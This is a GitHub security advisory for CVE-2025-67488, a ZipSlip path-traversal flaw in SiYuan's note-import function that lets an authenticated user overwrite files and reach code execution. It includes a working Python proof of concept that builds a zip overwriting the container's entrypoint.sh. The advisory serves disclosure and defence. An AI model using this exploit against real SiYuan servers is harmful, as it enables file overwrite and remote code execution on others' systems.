GitHub Advisoryadvisory · Go

GHSA-gqfv-g4v7-m366 SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

HIGH Published 2025-12-09 Modified 2025-12-09 Official page ↗
Aliases
CVE-2025-67488
Ecosystem
Go
Packages
github.com/siyuan-note/siyuan/kernel
Severity
High
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weaknesses
CWE-22
Reviewed
2025-12-09

Affected packages

• Go github.com/siyuan-note/siyuan/kernel: <= 0.0.0-20251202123337-6ef83b42c7ce (no fix yet)

Description

Summary Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system. Details An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution. PoC Code used to generate the ZipSlip: ```python !/usr/bin/env python3 import sys, base64, zipfile, io, time def prepare_zipslip(filename): orgfile1 = open('Test.md','rb').read() payload = open('entrypoint.sh','rb').read() #b"testpayload" zipslip = io.BytesIO() with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf: info = zipfile.ZipInfo('Test.md') mtime = time.time() t = time.localtime(mtime) info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec) zipf.writestr(info, orgfile1) info = zipfile.ZipInfo(filename) mtime = time.time() t = time.localtime(mtime) info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec) zipf.writestr(info, payload) return zipslip.getvalue() gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh') open('exp.zip', 'wb').write(gz) ``` Impact The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

Related

Alias · CVE (1)

  • CVE-2025-67488 SiYuan is self-hosted, open source personal knowledge management software. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References